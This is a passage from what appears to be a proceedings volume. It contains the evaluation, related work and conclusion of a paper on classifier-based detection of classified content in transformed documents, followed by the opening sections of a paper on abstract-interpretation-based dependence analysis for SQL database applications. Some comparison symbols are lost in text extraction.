fication that a classifier/index set built on more context-specific documents
can indeed give better accuracy than one built on possibly more, but less spe-
cific data, even when creating the output documents from a relatively diverse
and large input set. That is, better results are not only an effect of creating
output documents from a small and not very diverse set of input documents.

3. Dynamic per-user: Finally we create controlled environments where we
gradually increase the amount of imported documents used for train-
ing/indexing. This to test our hypotheses that using additional documents
for training besides those strictly relevant to the output documents does not
necessarily increase accuracy, but rather constitutes noise.

For all three types of classifiers we test how they perform on the different trans-
formations of documents from each separate subcollection as defined in Sect. 3.1.
We also test how they behave when used both as a binary classifier (i.e. Unclas-
sified and Classified labels) and a ternary one (i.e. Unclassified, Confidential
and Secret labels). For IR algorithms we use a threshold value θ = 0.15 and we
measure also how often they are able to identify the input document used to
generate the output document, i.e., the number of exact matches.

If our hypothesis is correct, then dynamic per-user classifiers should provide
the best accuracy when used on smaller but relevant input sets, and their accu-
racy converge toward domain specific and global classifiers as more and more
noise is introduced in the input set. Domain specific classifiers should also provide
some better accuracy than global ones. The results we obtained are summarized
in Table 1 and partially illustrated in Fig. 3, and confirm exactly this kind of
behaviour.

Global Classifiers. We train a classifier using the complete set of documents
as the training set, and then measure the predictive performance in terms of
accuracy on each of three subcollections AF, CH and PH separately. For ML
we only include results for SVM as it consistently outperformed the other ML
methods included in our experiments (see Sect. 3.3) on all output classes.
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Table 1. Mean accuracy for the SVM and IR methods when deployed using a global
(Global), domain specific (DS) and dynamic per-user (User) classifier. The per-
formance is reported when operating with: two security classes (Binary - Unclassi-
fied/Classified), three classes (Tenary - Unclassified, Confidential and Secret) and
exact match, i.e., counting only instances where the best match is the input document
used to generate the output for the IR approach (Exact). The reported controlled
environment accuracy is when using a classifier trained with 25 Unclassified and 25
Classified input documents.

Transformation Binary Tenary Exact

Global DS User Global DS User Global DS User

IR China Abstract .79 .81 .93 .66 .68 .86 .33 .36 .75

Spinner .94 .94 .99 .99 .99 .99 .99 .99 .99

Rewritten .99 .99 .99 .99 .99 .99 .99 .98 .99

Translation .99 .99 .99 .98 .98 .99 .97 .97 .99

Mixture .72 .78 .89 - - - - - -

Unmodified .99 .99 .99 .99 .99 .99 .99 .99 .99

Afghanistan Abstract .58 .57 .85 .46 .47 .77 .22 .27 .60

Spinner .96 .96 .99 .93 .95 .99 .92 .93 .99

Rewritten .99 .99 .99 .99 .99 .99 .99 .99 .99

Translation .99 .99 .99 .99 .99 .99 .99 .98 .99

Mixture .81 .85 .92 - - - - - -

Unmodified .99 .99 .99 .99 .99 .99 .99 .99 .99

Philippines Abstract .69 .70 .85 .50 .56 .78 .30 .30 .66

Spinner .99 .99 .99 .99 .99 .99 .95 .95 .99

Rewritten .99 .99 .99 .99 .99 .99 .99 .99 .99

Translation .99 .99 .99 .99 .99 .99 .99 .96 .99

Mixture .67 .68 .75 - - - - - -

Unmodified .99 .99 .99 .99 .99 .99 .99 .99 .99

ML China Abstract .63 .81 .84 .54 .59 .64 - - -

Spinner .98 .98 .99 .95 .95 .99 - - -

Rewritten .99 .98 .99 .96 .97 .98 - - -

Translation .96 .98 .99 .90 .97 .97 - - -

Mixture .76 .79 .92 - - - - - -

Unmodified .99 .99 .99 .99 .99 .99 - - -

Afghanistan Abstract .50 .61 .76 .53 .54 .62 - - -

Spinner .96 .96 .99 .94 .93 .99 - - -

Rewritten .99 .99 .99 .97 .96 .99 - - -

Translation .95 .97 .99 .89 .95 .97 - - -

Mixture .81 .82 .96 - - - - - -

Unmodified .99 .99 .99 .99 .99 .99 - - -

Philippines Abstract .62 .68 .80 .45 .53 .62 - - -

Spinner .97 .99 1.0 .96 .98 .99 - - -

Rewritten .97 .99 1.0 .98 .97 .99 - - -

Translation .96 .97 .99 .89 .96 .99 - - -

Mixture .59 .61 .70 - - - - - -

Unmodified .99 .99 .99 .99 .99 .99 - - -
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Domain Specific Classifiers. For the domain specific classifiers we train three
classifiers using each of the subcollections AF, CH, and PH separately as training
sets. We then evaluate the classifiers on the corresponding subcollections that
were used in the training phase. Each classifier provides slightly better accuracy
than the global classifier when detecting the classification of output documents
generated from the corresponding subcollection.

Dynamic Per-User Classifier. We predict that a smaller input set will give
better results because of less noise from potentially unrelated sources. In order
to test this, we perform experiments in which we initially start with a sample of
25 classified and 25 unclassified documents. We then iteratively increase the set
of input documents (namely the noise) by sampling from the remaining dataset
while testing the classifier on outputs generated only from the initial 50 docu-
ments. This sequence of steps is then repeated 200 times and the mean accuracy
is computed. Figure 3 (top) shows how the accuracy, for the “Abstract” out-
put documents, decays as the size of the set of input documents increases. This
shows how the classification task becomes increasingly difficult as more noise is
introduced into the environment, approaching the performance of the domain
specific classifier as the size of the input set increases. For the “Mixture” class
we have taken one classified document from the Input and one unclassified doc-
ument from the Noise datasets and combined a sample section of (50%) from
each. This is meant to illustrate the effect of introducing noise from an external
source, i.e., content which is not present in the training set/index. When eval-
uating the performance for the “Mixture” documents we measure the accuracy
only for Classified output documents.

4.2 Discussion

Table 1 displays the accuracy for the ML and IR approaches when evaluated
using a Global, Domain Specific and Dynamic Per-User classifier. It is clear that
all approaches are robust with respect to the “Rewritten”, “Spinner” and “Trans-
lation” transformations and further experiments show that only a minor benefit
is achieved when deploying a controlled environment for these classes. The high
accuracy can be traced back to how these output documents are generated from
the input documents and how the SVM and TF-IDF methods works. When
using a bag-of-word representation in which the order of words are discarded,
the relative frequencies of the input documents remain invariant with respect
to the transformations, resulting in what (for the algorithms) are very similar
documents. For the “Translation” transformation the intermediate steps distorts
the semantics while retaining the TF-IDF weights of the orignal document.

The “Abstract” and “Mixture” categories appear to be more challenging
transformations. If we look at the accuracy plots displayed in Fig. 3, we see how
the introduction of the more context aware Domain Specific classifier offers a
moderate increase in performance compared to the Global classifier. Proceeding
one step further by deploying the Dynamic Per-User classifier yields a significant
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Fig. 3. Accuracy as a function of the size of the controlled environment for the
“Abstract” and “Mixture” output class. Left: Machine learning (l2-regularized SVM)
based classifier. Right: Information retrieval (TF-IDF VSM/Cosine) based classifier.
Legends: Global[XY] a global classifier trained an the complete training set (AF, PH
and CH) and evaluated on the XY dataset, where XY can be AF (Afghanistan), PH
(Philippines) and CH (China). DS[XY] denotes a domain specific classifier trained and
evaluated on the XY dataset. User[XY] a dynamic per-user classifier trained on the
input for a controlled dataset from the XY dataset.

increase in performance, and the plot illustrates how the performance decays as
the size of the input increases until it finally converges to the performance offered
by the Domain Specific classifier.

From the graph it is clear that the introduction of a second source of noise
further reduces the effectiveness of the algorithms, but that the use of a controlled
environment still significantly improves accuracy compared to a global or domain
specific classifier. There is a notable drop in accuracy as we go from two to three
security classes and when we go from three classes to only measuring exact
matches. However the table shows that we still achieve a bump in performance
by using a more tightly controlled environment.
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From Table 1 and Fig. 3 we can conclude that the IR and ML methods yield
comparable performance when deployed using a controlled environment. How-
ever, the IR approach offers a few advantages. Firstly, the threshold value θ
(Sect. 3.3) limits the viability of Causatitive attacks. Secondly, since they work
by comparing the output document with a set of input documents, it is straight-
forward to explain a classification outcome to the end user. Likewise, it is easy
to perform an error analysis by studying the nature of the documents it gets
wrong. For example, in our study we randomly sampled a set of classified doc-
uments that were misclassified. We discovered that there were several instances
in which the best match was an official invitation to an event or meeting,
while the classified document, the one used as a query, was an internal memo
detailing what the attending officials political position, talking, and view points
should be.

4.3 Evaluation Approach 2

The primary motivation behind a second evaluation approach is to investigate
whether or not the previous results can be attributed to the artificial way we
generate output documents. E.g., if the generated output documents are much
less diverse than those created by users of a real-life system, it could be that
a larger but less specific training set might outperform the more context-aware
given more diverse output documents.

For data we use the internal dataset described in Sect. 3.2, and we evaluate
using the IR approach. We did not evaluate the ML classifiers on this dataset as
many of the documents did not have enough references to perform the fitting.
For each document we index all of its references (and their classification), and
use the text of the document as the query string. From the set of results we
take the security label of the document with the highest score to be the correct
one. All three scoring algorithms have an accuracy of approximately 78%. This
might seem like a lackluster result given that the small size of the input set
should provide a more meaningful context for the classifier. However, an analysis
of the set of misclassifications reveals that most of the incorrectly classified
documents are unclassified reports whose best match is the larger and more
extensive classified version, which naturally has a large amount of overlap. If we
remove these documents, accuracy improves to 89%. As shown in Fig. 4, there
is significant benefit in using a controlled environment compared to a global
classifier for this second set of documents, providing further evidence in support
of our hypothesis.

5 Related Work

Despite the long history of applying machine learning and information retrieval
to the text categorization task [16]; not much research has focused on using these
methods to automate security classification in the context of DLP. This despite
being recognized as a relevant area by commercial vendors [27].
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Fig. 4. Accuracy as a function of the size of the controlled environment for the internal
dataset compared to when using a global classifier.

The first work we are aware of is that of Brown et al. [7]. This study used
a smaller part of the DNSA corpus [1] to investigate whether a ML classifier
trained on documents regarding a particular topic or time-period would gener-
alize to other topics/time-periods. Their goal was to develop a tool to aid man-
ual classification and declassification of documents, rather than detect leakages.
These results were later validated and expanded upon in [13] and the classi-
fiers then fine-tuned in [10]. In all these cases only unmodified out-of-sample
documents were used as a test-set.

The concept of an automatic security classification framework based on
machine learning has also been proposed by Kassidy [8], but without any imple-
mentation or validation. Lewellen et al. [18] proposed to use plagiarism tech-
niques to detect data leaks. This is mostly a technical document on how to set
up a system that uses standard indexing techniques to detect parts of sensi-
tive text copied and pasted, for instance, in e-mails. Another related work uses
N-grams statistical analysis to detect sensitive documents even after text spin-
ning [2]. While our work is similar in that we investigate how the classifier
precision changes when documents are manipulated or degraded, we use addi-
tional manipulation techniques and also utilize a large and more realistic dataset.
Besides, their classification is based on topics rather than sensitivity, so it is not
possible to directly relate our results. We argue that classifying documents per
topic as they do, is easier as a topic can be well-characterized by specific words
and expressions, while sensitivity can be based, for instance, also on political or
strategic motivations.

Hart et al. [14] first evaluate various ML algorithms as we do, but then
settle on a SVM-based classifier and then develop a new supervised training
algorithm that can automatically distinguish between secret, public, and non-
enterprise documents. They use various supplement training and adjustment
techniques in order to compensate for the imbalance and false positives due to
the non-enterprise documents. While we operate with a data set whose security
labels have been assigned by government personnel and has later gone through a
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declassification process, the data used in their study comes from several smaller
private sources, and is a mixture of internal handbooks for religious organiza-
tions (LDS6, TM7), corporate emails and private blogposts regarding software-
engineering. Furthermore, they do not seem to account for possible manipulation
of the documents to be classified either, but use only documents known to the
classifier without any modification. Shu et al. [26] introduces a scalable sequence
alignment algorithm for detecting data leaks in transformed documents. How-
ever, their focus is restricted to a special class of transformations, e.g., replacing
white space characters with the “+” character.

6 Conclusion

This paper explored the idea of using controlled environments and dynamic clas-
sifiers to better determine the security classification of transformed documents,
by providing a more relevant context. By deploying a controlled environment that
monitors and registers all imported documents, i.e., the documents accessed by
a user during a session, we can subsequently check if any documents that are
later exported contain information whose origin is a classified source. In our work
we proposed two ways to automate this process using methods from the fields
of machine learning and information retrieval. A controlled environment can be
instantiated per single user, virtual machine, network, or process, potentially
for each work session or for longer time periods, and can be re-initialized when
required.

In contrast to the traditional approach where a global classifier is trained
using all the available data of an enterprise or organization, a classifier in a
controlled environment has the advantage of a more targeted context, as it knows
which data has been accessed during a session. Extensive evaluation presented
in Sect. 4, using a dynamic per-user environment (trained on the documents
accessed by the user), a domain specific (trained using documents from the same
subcollection) as well as a global classifier (trained using all available data),
supports the hypothesis that the introduction of a controlled environment is
beneficial to DLP. Especially for difficult detection tasks there is substantial
benefit in using a controlled environment as witnessed in Fig. 3, where we see
how the accuracy decays as more irrelevant data is imported into the controlled
environment. For the easier detection tasks (results presented in Table 1) there
was no significant gain to be achieved by deploying a controlled environment.

In order to validate that our results also hold water in a operational setting,
i.e., that the observed boost in performance can not be attributed to the artificial
way we generate output documents, we conducted experiments (Sect. 4.3) using
a separate data set consisting of a private repository of classified and unclassified
reports from our research institution. For each of these reports we assumed that
the references were the documents imported into the controlled environment
while the report itself was the output at the end of a session.
6 The Church of Jesus Christ of Latter-day Saints.
7 Transcendental meditation.
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As part of future work we intend to perform a more fine-grained analysis in
which we operate on the sentence or paragraph level, e.g., we want to investigate
whether we can detect if a transformed chunk of text in an output document
can be traced back to a classified document in the input set.

We also plan to use the predicted label probabilites or scores of the classifiers
to build an insider threat meta score, which would help facilitate the detection of
anomalous behaviour on the user level, thus mitigating the threat of Causative
attacks. Furthermore, an insider score would mitigate false positives by analyzing
user labeling trends over a longer time horizon instead of operating on a per-
document level.
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Abstract. Dependence Graph provides the basis for powerful program-
ming tools to address a large number of software engineering activities
including security analysis. This paper proposes a semantics-based sta-
tic dependence analysis framework for relational database applications
based on the Abstract Interpretation theory. As database attributes dif-
fer from traditional imperative language variables, we define abstract
semantics of database applications in relational abstract domain. This
allows to identify statically various parts of database information (in
abstract form) possibly used or defined by database statements, leading
to a more precise dependence analysis. This way the semantics-based
dependence computation improves w.r.t. its syntax-based counterpart.
We prove the soundness of our proposed approach which guarantees
that non-overlapping of the defined-part by one statement and the used-
part by another statement in abstract domain always indicates a non-
dependency in practice. Furthermore, the abstract semantics as a basis
of the proposed framework makes it more powerful to solve undecidable
scenario when initial database state is completely unknown.

Keywords: Dependence Graph · Database application · Static
analysis · Security

1 Introduction

Dependence Graph is an intermediate representation of program which explic-
its both the data- and control-dependences among program statements. This
provides the basis for powerful programming tool to address a large number
of software engineering activities, e.g. language-based information flow secu-
rity analysis, safety verification, optimization, maintenance, code-understanding,
code-reuse, etc. [10,14–17,20,29,30].

Different variants of Dependence Graph, e.g. Program Dependence Graph
(PDG) [29], System Dependence Graph (SDG) [16], Class Dependence Graph
(ClDG) [22], Database-Oriented Program Dependence Graph (DOPDG) [33],
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etc. are proposed in different contexts for different programming languages tun-
ing them towards specific applications.

Syntax-based construction of Dependence Graph depends on the computa-
tion of (i) data-dependences based on the syntactic presence of one variable
in the definition of another variable and (ii) control-dependences based on the
syntactic structure of the program [29].

Mastroeni and Zanardini [24] first observed that the syntax-based approach
may fail to compute an optimal set of dependences where the syntactic pres-
ence of variables is not enough to represent relevancy. For instance, consider
an expression “e = x + 2 × w mod 2” where e is syntactically dependent on
w but semantically there is no such dependence. Computation of such false
dependences which focuses on values instead of variables, allows us to refine
syntax-based dependence graph into more refined semantics-based dependence
graph.

Willmor et al. [33] introduced the notion of Database-Oriented Program
Dependence Graph (DOPDG), an extension of traditional PDG, to the context of
database applications embedding query languages. DOPDG considers two addi-
tional dependences: Program-Database Dependences (PD-Dependences) and
Database-Database Dependences (DD-dependences). A PD-Dependence repre-
sents the dependence between a SQL statement and an imperative statement,
whereas a DD-dependence represents the dependence between two SQL state-
ments.

In this paper, we extend the notion of semantics-based dependences to the
case of database applications, leading to a refinement of DOPDGs. For example,
consider the following SQL statements Q1 and Q2:

Q1 :UPDATE emp SET age := age + 1 WHERE age � 35 AND sal � 2000
Q2 :SELECT MAX(sal), AVG(age) FROM emp WHERE age � 30

The statement Q2 is syntactically DD-Dependent on Q1 for the attribute age as
it is a defined-variable in Q1 and a used-variable in Q2. But observe that, if we
focus on the values of age in the database, the part of age-values defined by Q1

is not overlapping with the age-values subsequently used by Q2. Therefore, there
exist no semantics-based dependence between Q1 and Q2. Some of the worth-
mentioning software engineering activities where semantics-based dependences
in database applications play crucial roles are program slicing, language-based
information-flow analyses, data-provenance, security analyses like SQL injection
attack, etc. [1,5,22,30,32].

The semantics-based data-dependence computation in query languages needs
a different treatment as the values of database attributes differ from that of
imperative language variables. The key point here is the static identification of
various parts of the database information possibly accessed or manipulated by
database statements at various program points. Abstract Interpretation [7,8] is a
widely used formal method which provides a sound approximation of program’s
semantics to answer about program’s runtime behavior including undecidable
ones.
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This paper proposes a novel approach to compute semantics-based depen-
dences among statements in database applications based on the Abstract Inter-
pretation framework [8]. In particular, our contributions in this paper are:

– We define an abstract semantics of database statements in the relational
domain of polyhedra based on the Abstract Interpretation framework.

– We develop an algorithm based on the data-flow analysis to compute abstract
database states (in the form of polyhedra) at each program point of the appli-
cations.

– We propose an algorithm to compute non-overlapping of used- and defined -
part by various database statements and hence non-dependences among them
based on the abstract semantics.

– Finally, we provide an in-depth comparative analysis of our approach w.r.t.
some existing notable directions in the literature.

The structure of the rest of paper is as follow: Sect. 2 recalls the syntax and con-
crete semantics of query languages. Section 3 recalls the notion of DOPDG and
provides the basis on its syntax and semantics-based constructions. In Sect. 4,
we define abstract semantics of database statements in the domain of polyhe-
dra based on the Abstract Interpretation theory and we propose a refinement of
DOPDGs into more precise form. Section 5 discusses a detail comparisons of our
proposal w.r.t. the literature and an overall complexity analysis. In Sect. 6, we
mention several applicative scenarios of our approach. Section 7 concludes the
work.

2 Concrete Semantics of Database Query Languages

In this section, we recall from [12] the formulation of the semantics of database
query languages.

Syntax. Table 1 depicts the syntactic sets and the abstract syntax of database
statements in Backus-Naur form. Database applications involve two types of vari-
ables: application variables (denoted Va) and database attributes (denoted Vd).
The SQL clauses GROUP BY, ORDER BY, DISTINCT/ALL and the aggregate func-
tions (SUM, COUNT, MAX, MIN, AVG) are represented in the form of functions
g(), f(), r(), h() respectively parameterized with either none or one arithmetic
expression e or an ordered sequence of arithmetaic expressions �e. The abstract
syntax of a database statement is denoted by 〈A,φ〉 where A represents Action-
part and φ represents Condition-part which follows first-order logic formula. The
Action-part include SELECT, UPDATE, DELETE and INSERT. For example, con-
sider the query Q = “UPDATE emp SET sal:=sal+100 WHERE age � 40”. According to
abstract syntax, Q is denoted by 〈A, φ〉 = 〈UPDATE(�vd, �e), φ〉, where �vd = 〈sal〉
and �e = 〈sal + 100〉 and φ = age � 40.
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Table 1. Syntax and semantics of query languages

Concrete Semantics. An application environment ρa ∈ (Ea = Va �→ Val) maps
application variables to the domain of values Val. A database is a set of tables
{ti | i ∈ Ix} for a given set of indexes Ix. A database environment is defined
as a function ρd whose domain is Ix, such that for i ∈ Ix, ρd(i) = ti. A table
environment ρt for a table t is defined as a function such that ∀ai ∈ attribute(t),
ρt(ai) = 〈πi(lj) | lj ∈ t〉 where π is the projection operator, i.e., πi(lj) is the ith

element of the lj-th row.
The set of states is defined as Σ = Ed × Ea where Ed, Ea are the set of

database environments and application environments respectively. Therefore, a
state ρ ∈ Σ is denoted by a tuple ρ = (ρd, ρa) where ρd ∈ Ed and ρa ∈ Ea.

The state transition semantics is defined as S: Q × Σ → Σ, which specifies
how the execution of a database statement Q ∈ Q on a state ρ ∈ Σ results into
an another state ρ′ ∈ Σ.

3 Syntax-Based DOPDG vs. Semantics-Based DOPDG

As already mentioned before, the syntax-based dependence computation depends
on the syntactic presence of one variable in the definition of another variable or on
the syntactic structure of the program, whereas the semantics-based dependence
computation focuses on values rather than variables. This way, semantics-based
analyses remove a number of false dependences and result into an optimal set of
dependences.

In this section, we first discuss the syntax-based DOPDG construction briefly
and then we provide the basis of semantics-based DOPDG.

3.1 Syntax-Based DOPDG

Database-Oriented Program Dependence Graph (DOPDG) [33] is an extension
to the traditional Program Dependence Graph (PDG) to represent dependences
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in database query languages. It considers the following two additional depen-
dences:

Definition 1 (Program-Database (PD) Dependence). A database state-
ment Q is PD-dependent on an imperative statement I for a variable x (denoted
I

x−→ Q) if the following three hold: (i) x is defined by I, (ii) x is used by Q, and
(iii) there is no redefinition of x between I and Q.

The PD-dependence of I on Q is defined similarly.

Definition 2 (Database-Database (DD) Dependences). A database
statement Q2 is DD-dependent on another database statement Q1 for an attribute
x (denoted Q1

x−→ Q2) if the following conditions hold: (i) x is defined by Q1,
(ii) x is used by Q2, and (iii) there is no rollback effect of Q1 in between them.

Observe that the above definitions are based on the syntactic presence of
“used” and “defined” variables in the statements. Therefore, syntax-based con-
struction of DOPDG can be formalized based on the following two functions:
USE: C → ℘(Vd ∪ Va) and DEF: C → ℘(Vd ∪ Va) which extract the set of
variables (application variables and database attributes) used and defined in a
statement c ∈ C (either imperative or database statement) respectively. Once
the used and defined variables are computed for the program statements, the
syntax-based dependences are determined according to Definitions 1 and 2. This
is illustrated in Example 1.

Example 1. Consider the database application “Prog” and the associated data-
base “emp” depicted in Fig. 1. The syntax-based DOPDG of Prog is depicted in
Fig. 1(c). The control-dependences between program statements are computed
by following similar approach as in the case of traditional Program Dependence
Graphs. For instance, the edges 1 → 2, 1 → 3, 1 → 4, etc. represent control
dependencies. To obtain DD- and PD-dependencies, we extract defined - and
used-variables at each program point using DEF and USE functions as follows:

DEF(2) = { sal, age, com } DEF(3) = { sal } USE(3) = { sal, age, com }
USE(4) = { sal, age, com } USE(5) = { rs1 } DEF(6) = { sal, age, com }
USE(6) = { sal, age, com } USE(7) = { sal, age, com } USE(8) = { rs2 }

Using above information one can easily compute DD- and PD-dependencies.
For instance, edges 2 → 3, 2 → 4, 2 → 6, 2 → 7, 3 → 4, 3 → 6, 3 → 7 and 6 → 7
represent DD-dependencies (denoted by dashed-lines), whereas edges 4 → 5 and
7 → 8 represent PD-dependency (denoted by dotted-line). This is to note that,
as an improvement, the following two cases are considered which may arise in
the case of DD-dependence computation:

Case 1: Statement Q1 defines the values of an attribute x partially which is
subsequently used by Q2. The presence of WHERE clause in Q1 determines
this. In this case, Q2 is DD-dependent on Q1 as well as on the statement con-
necting the database. For instance, in Fig. 1(c), the node 4 is DD-dependent
on both the nodes 3 and 2.
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Fig. 1. A running example and its syntax-based DOPDG

Case 2: Statement Q1 defines the values of an attribute x fully. This is deter-
mined by the absence of WHERE clause in Q1. In this case, all the subsequent
database statements which use x will be DD-dependent on Q1 only.

Observe that syntax-based construction may generate false dependences, and
hence it is not optimal. For instance, in the example, the dependence 3 → 4 is a
false dependence.

3.2 Semantics-Based DOPDG

The syntax-based DOPDG may not provide an optimal set of dependences. This
motivates researchers towards semantics-based dependence computation which
focuses on the values rather than the attributes.

Given a SQL statement Q = 〈A,φ〉 and its target table t. Suppose �x =
USE(A), �y = USE(φ) and �z = DEF(Q). According to the concrete semantics,
suppose S[[Q]](ρt, ρa) = (ρt′ , ρa).

The used and defined part of t by Q are computed according to the following
equations [13]:

Ause(Q, t) = ρt↓φ(�x) ∪ ρt↓φ(�y) (1)
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Fig. 2. Ause and Adef of table “emp” w.r.t. Qupd

Adef (Q, t) = Δ(ρt′(�z), ρt(�z)) (2)

where

t ↓ φ : Set of tuples in table t which satisfies Condition-part φ
ρt↓φ(�x) : Values of �x in (t ↓ φ)
ρt↓φ(�y) : Values of �y in (t ↓ φ)

Δ : Computes the difference between the original database state on which
Q operates and the new database state obtained after performing the
action-part A.

In other words, the function Ause maps to the part of the database informa-
tion used by Q, whereas the function Adef defines the changes occurred in the
database states when data is updated or deleted or inserted by Q. The following
example illustrates this.

Example 2. Consider a database table “emp” in Fig. 1(b) and the following
update statement:

Qupd : UPDATE emp SET sal:=sal+100 WHERE age �40

According to Eqs. 1 and 2, the used-part and defined -part are as follows:
Ause(Qupd,emp) = ρemp↓(age�40)(sal) ∪ ρemp↓(age�40)(age) and Adef (Qupd,
emp) = Δ(ρemp′(sal), ρemp(sal)). This is depicted pictorially in Fig. 2.

Definition 3 (Semantics-based DD-Dependence [13]). The SQL state-
ment Q2 = 〈A2, φ2〉 with target(Q2) = t′ is DD-Dependent on another SQL
statement Q1 for Υ (denoted Q1

Υ−→ Q2) if Q1 ∈ {Qupd, Qins, Qdel} and the
overlapping-part Υ = Ause(Q2, t

′) ∩ Adef (Q1, t) �= ∅.
We are now in position to propose a new approach to compute Ause, Adef ,

and the overlapping-part Υ . To do this, in the subsequent sections, we extend a
well-know semantics-based formal analysis technique, the Abstract Interpreta-
tion Theory. To be specific, we define abstract semantics of database statements
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in the relational abstract domain of polyhedra [9]. As this can easily be extended
to other relational or non-relational abstract domains, we also discuss the advan-
tages and disadvantages of this analysis in various abstract domains in terms of
preciseness, efficiency and scalability.

4 Extending Abstract Interpretation Theory

Abstract interpretation is a theory of abstraction and constructive sound approx-
imation of the semantics of programming languages, aiming to infer or verify
program’s runtime properties including undecidable ones. This starts with the
formal definition of the semantics of a programming language (formally describ-
ing all possible program behaviors in all possible execution environments), con-
tinues with the formalization of program properties, and the expression of the
strongest program property of interest in fixed point form [8].

Formally, the concrete domain Dc forms a complete lattice 〈℘(Dc),⊆,
∅,Dc,∪,∩〉. On this domain, a semantics S is defined. In the same way, an
abstract semantics S̄ is defined aiming to approximate the concrete one in a
computable way. Formally, the abstract domain Da has to form a complete lat-
tice 〈Da,�, ∅,Da,�,�〉. The concrete elements are related to the abstract domain
by concretization function γ and abstraction function α. In order to obtain
a sound analysis, we require that γ and α form a Galois connection [8]. An
abstract semantics S̄ is defined as a sound approximation of the concrete one,
i.e., ∀a ∈ Da. α ◦ S[[γ(a)]] � S̄[[a]].

4.1 Relational Polyhedra Domain as Abstraction

Domain of Polyhedra. 1 The regions in n-dimensional space Rn bounded by finite
sets of hyperplanes are called polyhedra. Let x1, x2, . . . xn be the program
variables. We represent by �l = 〈l1, l2, . . . ln〉 ∈ Rn, an n-tuple (vector) of real
numbers. By β = �l.�x ⊗ m where �l �= �0, �x = 〈x1, x2, . . . , xn〉, m ∈ R, ⊗ ∈ {≥, >},
we represent a linear inequality over Rn. A linear inequality defines an affine half-
space of Rn. If P is expressed as the intersection of a finite number of affine half-
spaces of Rn, then P ∈ Rn is a convex polyhedron. Formally, a convex polyhedron
P = (Θ, n) is a set of linear restraints Θ = {β1, β2 . . . βm} on Rn. Equivalently,
P can be represented by frame representation which is a collection of generators
i.e. vertices and rays [6]. On the other hand, given a set of restraints Θ on Rn,
a set of solutions or points {σ | σ |= Θ} defines a polyhedron P = (Θ,n).

Forming Abstract Lattice on the domain of Polyhedra [9]. The set of polyhedra
p with partial order � forms a complete lattice La = 〈p, �, ∅, Rn, �, �〉 where
∅ is the bottom element and Rn is top element. Given P1, P2 ∈ p, the partial
order, meet and join operations are defined below:

1 The abstract Domain of Polyhedra Library is available in [2,19].
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– P1 � P2 if and only if γ(P1) ⊆ γ(P2), where γ(P) represents the set of solutions
or points in P as concrete values.

– P1� P2 is the convex polyhedron containing exactly the set of points γ(P1) ∩
γ(P2).

– P1� P2 is not necessarily a convex-polyhedron. Therefore, the least polyhedron
enclosing this union is computed in terms of convex hull.

Galois Connection. Let Lc = 〈℘(Val), ⊆, ∅, Val, ∪, ∩〉 be the concrete lattice
defined over concrete domain of values Val and La = 〈p, �, ∅, Rn, �, �〉 be an
abstract lattice over the domain of polyhedra. The Galois Connection is defined
as 〈Lc, α, γ,La〉 such that α(S) � P ⇐⇒ S ⊆ γ(P) where S ∈ ℘(Val) is a set of
concrete values and P ∈ p is a polyhedra. Some useful operations in the abstract
domain include emptiness checking, projection, etc. [4,9].

4.2 Defining Abstract Semantics in Relational Polyhedra Domain

The abstract transition semantics is defined as S̄: C× p → ℘(p) where C is the set
of statements and p is the set of all polyhedra. It defines an abstract semantics
of a statement in the domain of polyhedra by specifying how the execution of a
statement on a polyhedron results into a set of new polyhedra.

Let us define the abstract transition semantics for imperative as well as data-
base statements, and the abstract semantics of database application using data-
flow analysis.

Assignment [9]: S̄[[xj := e]](P) = {P’} where P’ is obtained as follows: (i) Case-
1: If e is a non-linear expression or the assignment is non-invertible, then
we simply project-out the corresponding variables from the equations which
results into a new polyhedron P’; (ii) Case-2: Otherwise, we introduce a fresh
variable xj ’ to hold the value of e, then we project out xj , and finally we reuse
xj ’ in place of xj which results into P’.

Example 3. Given P = (β, n) = ({x � 3, y � 2}, 2). The equivalent frame
representation (vertices and rays) of P is V = {(3, 2)} and R = {(1, 0), (0, 1)}.
The transition semantics of assignment x := x + y is define as

S̄[[x := x + y]]({x � 3, y � 2}, 2) = {P′}
where P′ = ({x − y � 3, y � 2}, 2) whose equivalent frame representation is V =
{(5, 2)} and R = {(1, 0), (-1, -1)}.

Test [9]: Given a boolean expression in the form of linear inequalities β = �l.�x⊗m
and a polyhedron P: S̄[[β]]P = {PT , PF } where PT = (P�β) and PF = (P�¬β).

Example 4. Given P = (β, n)=({x � 8, y � 6}, 2). The equivalent frame
representation (vertices and rays) of P is V = {(8, 6)} and R = {(1, 0),
(0, 1)}. The transition semantics of boolean expression x � 20 is define as:
S̄[[x � 20]]P = {PT ,PF } where PT = ({x � 20, y � 6}, 2) whose equiva-
lent frame representation is VT = {(20, 6)} and RT = {(1, 0), (0, 1)} and
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PF = ({x � 8,−x � −19, y � 6}, 2) whose equivalent frame representation
is VF = {(8, 6),(19, 6)} and RF = {(0, 1)}.

UPDATE: S̄[[UPDATE(�vd, �e), φ〉]]P = {P′
T , PF } where

PT = (P � φ)
P′

T = S̄[[UPDATE(�vd, �e)]]PT = S̄[[�vd := �e]]PT

PF = (P � ¬φ).
We denote by the notation �vd:= �e a series of assignments 〈v1:= e1, v2:= e2,
. . . , vn:= en〉 where �vd = 〈v1, v2, . . . , vn〉 and �e = 〈e1, e2, . . . , en〉, which
follow the transition semantic definition for the assignment statement.

DELETE: S̄[[〈DELETE(�vd), φ〉]]P = {(P � ¬φ)}

INSERT: S̄[[〈INSERT(�vd, �e), φ〉]]P = {P � Pnew} = {P′}
where Pnew represents a polyhedron corresponding to the new inserted tuple
values.

SELECT: The select operation does not modify any information in a polyhedron.
Therefore, the transition semantics is defined as:

S̄[[〈SELECT(va, f(�e′), r(�h(�x)), φ2, g(�e)
)
, φ1〉]]Pstd

= S̄[[〈SELECT(va, f(�e′), r(�h(�x)), φ2, g(�e)
)
, true〉]]PT

⊔
S̄[[〈SELECT(va, f(�e′), r(�h(�x)), φ2, g(�e)

)
, false〉]]PF = {Pstd}

The following example illustrates the semantics of UPDATE, DELETE, and
INSERT statements.

Example 5. Consider the table “std” in Fig. 3(a). The abstract representation
of “std” in the form of polyhedron, depicted in Fig. 3(b), is

Pstd = 〈{roll � 1, −roll � −4, mark � 400, −mark � − 1000, rank � 18, −rank � −62}, 3〉

Consider the following statements:

Qupd = UPDATE std SET mark = mark + $vmark WHERE rank � 30
Qdel = DELETE FROM std WHERE rank � 30
Qins = INSERT INTO std(roll,mark, rank) VALUES (5, 300, 20)

where “$vmark” is an application variable which accepts run-time input (positive
values). The equivalent abstract syntax are:

Qupd = 〈UPDATE(〈mark〉, 〈mark + $vmark〉), rank � 30〉
